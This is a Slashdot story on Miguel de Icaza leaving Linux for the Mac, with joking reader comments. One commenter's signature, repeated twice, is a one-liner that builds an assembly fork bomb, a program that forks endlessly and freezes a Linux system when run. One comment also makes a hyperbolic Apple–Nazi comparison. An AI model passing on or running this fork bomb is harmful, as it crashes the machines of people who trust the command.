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Gnome Founder Miguel de Icaza Moves To Mac

Posted by Soulskill on from the usability-claims-another-victim dept.

TrueSatan writes "Miguel de Icaza, via his blog, has explained his gradual move to the Apple Mac platform. 'While I missed the comprehensive Linux toolchain and userland, I did not miss having to chase the proper package for my current version of Linux, or beg someone to package something. Binaries just worked.' Here is one of his main reasons: 'To me, the fragmentation of Linux as a platform, the multiple incompatible distros, and the incompatibilities across versions of the same distro were my Three Mile Island/Chernobyl.' Reaction to his announcement includes a blog post from Jonathan Riddell of Blue Systems/Kubuntu. Given de Icaza's past association with Microsoft (CodePlex Foundation) and the Free Software Foundation's founder Richard Stallman's description of de Icaza as a 'traitor to the free software community,' this might be seen as more of a blow to Microsoft than to GNU/Linux."

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  1. So he is leaving... by Linegod · · Score: 5, Funny

    So he is leaving the mess he caused?

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    -- I care not for your foolish signatures.
  2. In this case... by MouseTheLuckyDog · · Score: 5, Funny

    Apple's loss is Linux's gain.

  3. Gnome 3 so shitty by Osgeld · · Score: 5, Funny

    founder buys a mac and doesnt look back

  4. Re:de Icaza by Hal_Porter · · Score: 5, Funny

    objdump -d exefile

    Is far more complete than

    man exefile

    once you get past the learning curve.

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    echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
  5. Re:Whatever.... by Hal_Porter · · Score: 5, Funny

    Now, I'd rather just pop in a DVD or download a binary blob and drag it to /Applications. My family time is limited and I'd rather be spending it with them.

    That's what the Germans probably said. "I don't care about elections and a free press and all that stuff. I'd rather just have the NAZIS sort things out so I can spend time with my Kinder, Kuche, Kirche"

    Now you may say the comparison between Apple and the NAZIS is a bit hyperbolic. But is it really? Both Apple fans and the SS wore mostly black clothes and are almost entirely Caucasian. Sure there are some Asians in there, but then NAZIS were quite keen on the Japanese.

    The more you think of it, the more you realise that buying an Apple produced device is exactly the same as voting for the NAZIS.

    Still it's better than using Linux or bloody Windows 8.

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    echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;